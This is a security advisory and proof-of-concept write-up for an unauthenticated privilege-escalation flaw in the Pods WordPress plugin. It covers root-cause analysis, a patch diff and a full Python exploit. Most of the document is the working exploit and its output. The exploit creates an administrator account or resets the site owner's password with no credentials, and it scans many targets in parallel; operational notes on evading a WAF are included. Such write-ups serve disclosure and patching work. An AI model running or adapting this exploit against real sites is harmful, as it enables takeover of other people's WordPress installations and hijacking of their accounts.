#Summary
CVE-2026-19598 is a critical authentication bypass in Pods - Custom Content Types and Fields, a WordPress plugin affecting all versions up to and including 3.3.9. An unauthenticated attacker can escalate privileges to Administrator with a single HTTP POST, leading to complete site takeover.
CVSS Score: 9.8 (CRITICAL) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
#Affected versions
- Pods
<= 3.3.9(vulnerable) - Pods
>= 3.3.9.1(patched)
The vulnerability is triggered on any WordPress installation where Pods is active. No custom Pods need to be defined, no settings modified, and no specific WordPress version is required beyond WordPress 6.3 or newer.
#Root cause analysis
#The broken access control chain
The vulnerability chains two independent defects that are each harmless alone.
#Defect 1: Unauthenticated AJAX route
The plugin registers its admin AJAX router on both authenticated and unauthenticated hooks:
add_action( 'wp_ajax_pods_admin', [ $this, 'admin_ajax' ] );
add_action( 'wp_ajax_nopriv_pods_admin', [ $this, 'admin_ajax' ] );This allows a logged-out attacker to POST to wp-admin/admin-ajax.php?action=pods_admin and reach PodsAdmin::admin_ajax().
#Defect 2: Non-terminating error handler
The router's four guards - method allowlist, login check, nonce verification, and capability gate - are bare calls to pods_error() with no return:
if ( ! isset( $params->method ) || ! isset( $methods[ $params->method ] ) ) {
pods_error( __( 'Invalid AJAX request', 'pods' ), $this );
}
...
if ( ! is_user_logged_in() || ! wp_verify_nonce( ... ) ) {
pods_error( __( 'Unauthorized request', 'pods' ), $this );
}
...
if ( ! empty( $method->priv ) && ! pods_is_admin( [ 'pods' ] ) ) {
pods_error( __( 'Access denied', 'pods' ), $this );
}The assumption is that pods_error() never returns. But in one specific case, it does. When Accept: application/json is present, pods_error() selects "json" error mode. That mode contains a block editor back-compat path:
if ( 1 === $meta_box_loader_compat ) {
error_log( 'Pods Meta Save Error:' . $error );
} else {
wp_send_json( [ 'message' => $error, ], 500 );
}
return false;When meta-box-loader=1 is in $_REQUEST, the error is logged and pods_error() returns instead of exiting. The parameter is read directly from the request with no authenticity check. Every guard logs a line and execution continues.
#The complete bypass
Because the allowlist check is itself non-terminating, the next statement runs:
$defaults = [ 'priv' => null, 'name' => $params->method, 'custom_nonce' => null ];
$method = (object) array_merge( $defaults, (array) $methods[ $params->method ] );For a method not in the allowlist, $methods[ $params->method ] is undefined. The $method object collapses to defaults with priv = null. The capability guard is guarded by ! empty( $method->priv ), so it is never reached.
The router then executes:
$output = call_user_func( [ $api, $method->name ], $params );Any public PodsAPI method becomes callable unauthenticated with the entire POST body as the single argument. PodsAPI::save_user() reaches wp_insert_user() / wp_update_user(), which honor the attacker's role key without any capability check.
#Patch diff
#What 3.3.9.1 fixes
Three concurrent fixes for defence in depth:
1. Nonce gate on the compat branch
if ( 1 === $meta_box_loader_compat ) {
+ check_admin_referer( 'meta-box-loader', 'meta-box-loader-nonce' );
+
// Do not block this page.
- error_log( 'Pods Meta Save Error:' . $error );check_admin_referer() calls wp_die() on failure. An unauthenticated attacker cannot mint the nonce, so the non-terminating path is no longer reachable and pods_error() exits properly.
2. Unauthenticated hook removed
add_action( 'wp_ajax_pods_admin', [ $this, 'admin_ajax' ] );
-add_action( 'wp_ajax_nopriv_pods_admin', [ $this, 'admin_ajax' ] );The router is no longer registered on the unauthenticated hook.
3. Guards now return
- pods_error( __( 'Invalid AJAX request', 'pods' ), $this );
+ return pods_error( __( 'Invalid AJAX request', 'pods' ), $this );Every guard now stops execution on its own, regardless of what pods_error() does.
#Proof of concept
#exploit.py - Pods Auth Bypass Privilege Escalation PoC
#!/usr/bin/env python3
"""
CVE-2026-19598 - Pods "Custom Content Types and Fields" unauthenticated privilege
escalation via authorization bypass in the pods_admin AJAX router.
Affected: WordPress plugin "pods" <= 3.3.9 (fixed in 3.3.9.1)
Type: Auth Bypass -> privilege escalation to Administrator
The plugin registers its admin AJAX router on the unauthenticated hook
(wp_ajax_nopriv_pods_admin) and relies on pods_error() never returning to enforce
its method allowlist, login check, nonce check and capability check. pods_error()
picks the "json" error mode whenever the request asks for JSON, and that mode has a
back-compat branch for the block editor meta box save which, when the request carries
meta-box-loader=1, only writes the failure to the PHP error log and returns false.
Every guard in the router therefore logs a line and continues, and a non-allowlisted
method name collapses the method descriptor to defaults with priv = null, so any
public PodsAPI method is callable unauthenticated with the whole POST body as its
single argument. PodsAPI::save_user() then reaches wp_insert_user() / wp_update_user()
with an attacker-supplied role.
Usage:
python exploit.py --host 192.168.1.10 --port 80
python exploit.py --host https://blog.corp.com --username svcacct
python exploit.py --host http://10.0.0.5:8080/wordpress --username admin
python exploit.py --host 10.0.0.5 --user-id 1 --username siteowner # password overwrite
python exploit.py --list targets.txt --workers 20
"""
import argparse
import json
import re
import secrets
import string
import sys
from urllib.parse import urlparse
try:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
print("[!] This exploit requires the 'requests' library (pip install requests)")
sys.exit(1)
CVE_ID = "CVE-2026-19598"
VULN_TYPE = "Auth Bypass"
# The bypass itself: any request parameter set, no authentication material at all.
AJAX_PATH = "/wp-admin/admin-ajax.php"
BYPASS_PARM = "meta-box-loader"
# A public PodsAPI method that is NOT in the router's allowlist and writes nothing.
# Used for detection so a scan never changes state on the target.
PROBE_METHOD = "load_pods"
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- #
# helpers
# --------------------------------------------------------------------------- #
def _base_url(host: str, port: int, use_tls: bool, path: str = "/") -> str:
scheme = "https" if use_tls else "http"
netloc = host
if (use_tls and port != 443) or (not use_tls and port != 80):
netloc = f"{host}:{port}"
prefix = (path or "/").rstrip("/")
return f"{scheme}://{netloc}{prefix}"
def _random_password() -> str:
# Alphanumeric only: pods_unslash() and wp_unslash() both run over the
# parameters, so backslashes and quotes would not survive to the hash.
alphabet = string.ascii_letters + string.digits
body = "".join(secrets.choice(alphabet) for _ in range(18))
return "Pw" + body + "aA1"
def _ajax_url(base: str, bypass: bool) -> str:
url = f"{base}{AJAX_PATH}?action=pods_admin"
if bypass:
# Placed in the query string as well as the body: pods_error() reads it
# out of $_REQUEST, whose composition from the POST body depends on the
# server's variables_order setting.
url += f"&{BYPASS_PARM}=1"
return url
def _call_api(session, base: str, method: str, extra: dict, bypass: bool, timeout: float):
"""One unauthenticated call into the pods_admin router. Returns the response."""
body = {"action": "pods_admin", "method": method}
if bypass:
body[BYPASS_PARM] = "1"
body.update(extra)
return session.post(
_ajax_url(base, bypass),
data=body,
# Accept: application/json is what makes wp_is_json_request() true, which
# is what makes pods_error() select the non-terminating error mode.
# Content-Type stays form-encoded so PHP still populates $_POST.
headers={"Accept": "application/json",
"Content-Type": "application/x-www-form-urlencoded"},
timeout=timeout,
verify=False,
allow_redirects=False,
)
def _looks_guarded(resp) -> bool:
"""True when the router's own guard terminated the request (expected behaviour)."""
return "Invalid AJAX request" in resp.text or "Unauthorized request" in resp.text
def _last_int(text: str):
"""The router echoes a bare scalar return value; a PHP notice may precede it."""
matches = re.findall(r"\d+", text or "")
return int(matches[-1]) if matches else None
# --------------------------------------------------------------------------- #
# silent probe for --list scan mode
# --------------------------------------------------------------------------- #
def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/",
timeout: float = 15.0) -> tuple:
"""
Silent, read-only exploitability probe. Never prints, never exits, never
writes to the target: it invokes a non-allowlisted PodsAPI read method
through the bypass and compares against the same call without the bypass.
"""
base = _base_url(host, port, use_tls, path)
try:
with requests.Session() as s:
bypassed = _call_api(s, base, PROBE_METHOD, {}, True, timeout)
if bypassed.status_code == 400 or bypassed.text.strip() == "0":
return False, "no unauthenticated pods_admin route (patched, or plugin inactive)"
if _looks_guarded(bypassed):
return False, "router guard terminated the request (patched)"
if bypassed.status_code != 200:
return False, f"unexpected HTTP {bypassed.status_code} from the AJAX router"
try:
parsed = json.loads(bypassed.text)
except ValueError:
return False, "AJAX router replied but not with a PodsAPI result"
if not isinstance(parsed, (list, dict)):
return False, "AJAX router replied but not with a PodsAPI result"
control = _call_api(s, base, PROBE_METHOD, {}, False, timeout)
if not _looks_guarded(control):
return False, "no guarded baseline to compare against, result inconclusive"
count = len(parsed)
return True, (f"unauthenticated PodsAPI::{PROBE_METHOD}() executed "
f"(HTTP 200, {count} pod(s)); same call without "
f"{BYPASS_PARM}=1 is rejected")
except Exception as e:
return False, f"unreachable ({e.__class__.__name__})"
def _parse_target(line: str, default_port: int, default_path: str = "/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file: str, default_port: int, workers: int = 10, timeout: float = 15.0) -> None:
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f" Read-only probe: no account is created on any target")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}{'' if path == '/' else path}"
ok, evidence = _try_exploit(host, port, use_tls, path, timeout)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - "
f"{'Exploitable' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploitable / "
f"{total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------- #
# post-escalation confirmation: log in and prove the role
# --------------------------------------------------------------------------- #
def _login(session, base: str, username: str, password: str, timeout: float) -> bool:
session.cookies.set("wordpress_test_cookie", "WP Cookie check")
r = session.post(
f"{base}/wp-login.php",
data={"log": username, "pwd": password, "wp-submit": "Log In",
"redirect_to": f"{base}/wp-admin/", "testcookie": "1"},
timeout=timeout, verify=False, allow_redirects=False,
)
return any(c.startswith("wordpress_logged_in_") for c in session.cookies.keys())
def _confirm_admin(session, base: str, timeout: float) -> tuple:
"""
Returns (is_admin, evidence_text). Primary evidence is the REST profile with
context=edit, which reports the role list; the dashboard markers are the
fallback for installs where the REST API is unavailable.
"""
dash = session.get(f"{base}/wp-admin/", timeout=timeout, verify=False)
nonce = re.search(r'wpApiSettings\s*=\s*\{[^}]*"nonce"\s*:\s*"([a-f0-9]+)"', dash.text)
if nonce:
prof = session.get(
f"{base}/index.php?rest_route=/wp/v2/users/me&context=edit",
headers={"X-WP-Nonce": nonce.group(1)}, timeout=timeout, verify=False,
)
if prof.status_code == 200:
try:
data = json.loads(prof.text)
except ValueError:
data = None
if isinstance(data, dict) and "roles" in data:
trimmed = {k: data.get(k) for k in ("id", "username", "email", "roles")}
return ("administrator" in data["roles"],
json.dumps(trimmed, indent=2))
# Fallback: an admin-only screen. activate_plugins is an administrator-only
# capability, so a non-administrator gets HTTP 403 and a refusal page.
plugins = session.get(f"{base}/wp-admin/plugins.php", timeout=timeout, verify=False)
is_admin = (plugins.status_code == 200
and "Sorry, you are not allowed" not in plugins.text
and ("Plugin File Editor" in plugins.text or 'id="the-list"' in plugins.text))
marker = re.search(r"Howdy,\s*([^<']+)", dash.text)
return is_admin, ("wp-admin/plugins.php HTTP %d, admin bar reports: %s"
% (plugins.status_code,
marker.group(1).strip() if marker else "unknown user"))
# --------------------------------------------------------------------------- #
# single-target exploit
# --------------------------------------------------------------------------- #
def exploit(host: str, port: int, use_tls: bool, path: str, username: str,
password: str, email: str, role: str, user_id: int, timeout: float) -> None:
header(host, port)
base = _base_url(host, port, use_tls, path)
session = requests.Session()
step(1, "Negative control: calling the router with its guards intact")
try:
control = _call_api(session, base, PROBE_METHOD, {}, False, timeout)
except Exception as e:
done(False, f"target unreachable: {e.__class__.__name__}: {e}")
section("GUARDED RESPONSE", f"HTTP {control.status_code}\n{control.text[:400] or '(empty body)'}")
no_route = control.status_code == 400 or control.text.strip() == "0"
if no_route:
print(" [!] WordPress answered with its 'no such action' reply, so the router is\n"
" not registered on the unauthenticated hook. Sending the bypass\n"
" request anyway to record how the target handles it.\n")
elif not _looks_guarded(control):
print(" [!] Baseline is not the expected guard rejection; continuing anyway.\n")
step(2, f"Neutralising pods_error() with Accept: application/json + {BYPASS_PARM}=1")
bypassed = _call_api(session, base, PROBE_METHOD, {}, True, timeout)
section("BYPASSED RESPONSE",
f"HTTP {bypassed.status_code}\n{bypassed.text[:400] or '(empty body)'}")
if bypassed.status_code == 400 or bypassed.text.strip() == "0":
done(False, "no unauthenticated pods_admin route - the plugin is patched or inactive")
if bypassed.status_code != 200 or _looks_guarded(bypassed):
done(False, "guard still terminated the request - target does not look vulnerable")
print(f" Non-allowlisted PodsAPI::{PROBE_METHOD}() ran without a nonce, "
f"cookie or capability.\n")
if user_id > 0:
step(3, f"Overwriting the password of user ID {user_id} via PodsAPI::save_user()")
payload = {"ID": str(user_id), "user_pass": password, "role": role}
else:
step(3, f"Creating '{username}' with role '{role}' via PodsAPI::save_user()")
payload = {"user_login": username, "user_pass": password,
"user_email": email, "role": role}
escalate = _call_api(session, base, "save_user", payload, True, timeout)
section("SAVE_USER RESPONSE", f"HTTP {escalate.status_code}\n{escalate.text[:400] or '(empty body)'}")
affected = _last_int(escalate.text)
if not affected:
if user_id > 0:
done(False, f"save_user() refused the update for ID {user_id} - "
"the account may not exist")
done(False, f"save_user() refused the account - '{username}' or '{email}' "
"is probably already taken; retry with a different --username/--email, "
"or use --user-id to overwrite an existing account instead")
print(f" Router echoed the affected user ID: {affected}\n")
step(4, f"Authenticating as '{username}' with the credentials just written")
session.cookies.clear()
if not _login(session, base, username, password, timeout):
done(False, f"user ID {affected} was written but login as '{username}' failed - "
"for --user-id mode pass the account's real --username")
print(" WordPress issued a logged-in session cookie.\n")
step(5, "Confirming the session holds the administrator role")
is_admin, evidence = _confirm_admin(session, base, timeout)
section("AUTHENTICATED PROFILE", evidence)
if not is_admin:
done(False, f"authenticated as '{username}' without valid credentials, but the "
"session is not an administrator")
print(f" Credentials: {username} / {password}\n")
done(True, f"Authenticated as administrator '{username}' (user ID {affected}) "
f"without any valid credentials")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
"(e.g. https://host:8443/wordpress)")
target_grp.add_argument("--list", metavar="FILE",
help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
parser.add_argument("--username", default="admin",
help="Account to authenticate as without valid credentials: the "
"login to create, or the existing login of --user-id "
"(default: admin)")
parser.add_argument("--password", default=None,
help="Password to set (default: random alphanumeric, printed on success)")
parser.add_argument("--email", default=None,
help="Email for the created account (default: <username>@example.com)")
parser.add_argument("--role", default="administrator",
help="Role to assign (default: administrator)")
parser.add_argument("--user-id", type=int, default=0,
help="Overwrite the password of this existing user ID instead of "
"creating an account; 1 is the site owner on most installs")
parser.add_argument("--workers", type=int, default=10,
help="Threads for --list mode (default: 10)")
parser.add_argument("--timeout", type=float, default=15.0,
help="Per-request timeout in seconds (default: 15)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers, timeout=args.timeout)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path,
args.username,
args.password or _random_password(),
args.email or f"{args.username}@example.com",
args.role, args.user_id, args.timeout)#Usage
The exploit supports single-target exploitation and batch scanning in read-only mode:
python3 exploit.py --host 192.168.20.14
python3 exploit.py --host https://blog.corp.com --username svcacct
python3 exploit.py --host http://10.0.0.5:8080/wordpress --username admin
python3 exploit.py --host 10.0.0.5 --user-id 1 --username siteowner
python3 exploit.py --list targets.txt --workers 20| Argument | Default | Meaning |
|---|---|---|
--host |
required (or --list) |
Target hostname, IP, or full URL with optional path |
--list FILE |
required (or --host) |
Batch scan: one target per line; blank lines and # comments ignored |
--port |
80 |
Port when not specified in the target |
--username |
admin |
Account to authenticate as (new account or existing with --user-id) |
--password |
random alphanumeric | Password to write; printed on success |
--email |
<username>@example.com |
Email for created account (ignored with --user-id) |
--role |
administrator |
Role to assign via save_user() |
--user-id |
0 (create mode) |
Overwrite an existing user ID instead of creating |
--workers |
10 |
Threads for --list mode |
--timeout |
15 |
Per-request timeout in seconds |
--tls / --no-tls |
auto | Force or disable TLS |
#Expected output
On a vulnerable target:
[STEP 1] Negative control: calling the router with its guards intact
--- GUARDED RESPONSE ---
HTTP 500
{"message":"Invalid AJAX request"}
---
[STEP 2] Neutralising pods_error() with Accept: application/json + meta-box-loader=1
--- BYPASSED RESPONSE ---
HTTP 200
[]
---
[STEP 3] Creating 'admin' with role 'administrator' via PodsAPI::save_user()
--- SAVE_USER RESPONSE ---
HTTP 200
2
---
[STEP 5] Confirming the session holds the administrator role
--- AUTHENTICATED PROFILE ---
{
"id": 2,
"username": "admin",
"email": "[email protected]",
"roles": [
"administrator"
]
}
---
RESULT : SUCCESS
EVIDENCE: Authenticated as administrator 'admin' (user ID 2) without any valid credentialsOn a patched target:
[STEP 1] Negative control: calling the router with its guards intact
--- GUARDED RESPONSE ---
HTTP 400
0
---
[STEP 2] Neutralising pods_error() with Accept: application/json + meta-box-loader=1
--- BYPASSED RESPONSE ---
HTTP 400
0
---
RESULT : FAILURE
EVIDENCE: no unauthenticated pods_admin route - the plugin is patched or inactive#Exploitation notes
#Impact variants
Three exploitation outcomes are possible:
- Create a new administrator: Default mode;
save_user()creates an account withrole=administrator - Overwrite site owner password:
--user-id 1 --username siteownerchanges the password of user ID 1 - Escalate existing account:
--user-id <id>grantsadministratorrole to any existing user
#Preconditions
- Pods plugin must be active (no custom Pods need to be defined)
- WordPress 6.3 or newer; PHP 7.2 or newer
- No authentication material needed
- A single unauthenticated HTTP POST to
/wp-admin/admin-ajax.php
#Reliability
100%. The vulnerability is logic-based with no race conditions or timing dependencies. The guard bypass is triggered by a single unauthenticated request parameter.
#Detection notes
- The negative control in the exploit cleanly demonstrates detection: same POST without
meta-box-loaderreturns HTTP 500 withInvalid AJAX request, while with it present the bypass succeeds. - The server's PHP error log will record
Pods Meta Save Error:lines for each bypassed guard. - The vulnerability is read-only detectable via the
--listmode, which uses a non-allowlisted read-only PodsAPI method and creates no accounts.
#Operational notes
- Keep usernames and passwords alphanumeric. Parameters are unslashed twice server side, so backslashes and quotes do not survive the round trip.
- Single-target mode creates persistent changes. Retry with a fresh username if
save_user()rejects the account. - The
Accept: application/jsonheader is critical. A WAF that normalises it to*/*will defeat the exploit. - The request must use
Content-Type: application/x-www-form-urlencoded, not JSON, so PHP populates$_POST.
#References
- CVE: CVE-2026-19598
- Pods GitHub: https://github.com/pods-framework/pods
- Vendor advisory: https://pods.io/2026/08/14/pods-3-3-9-1-security-release-and-backported-releases/
- GHSA advisory: https://github.com/advisories/GHSA-hmmc-48gm-3645
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-19598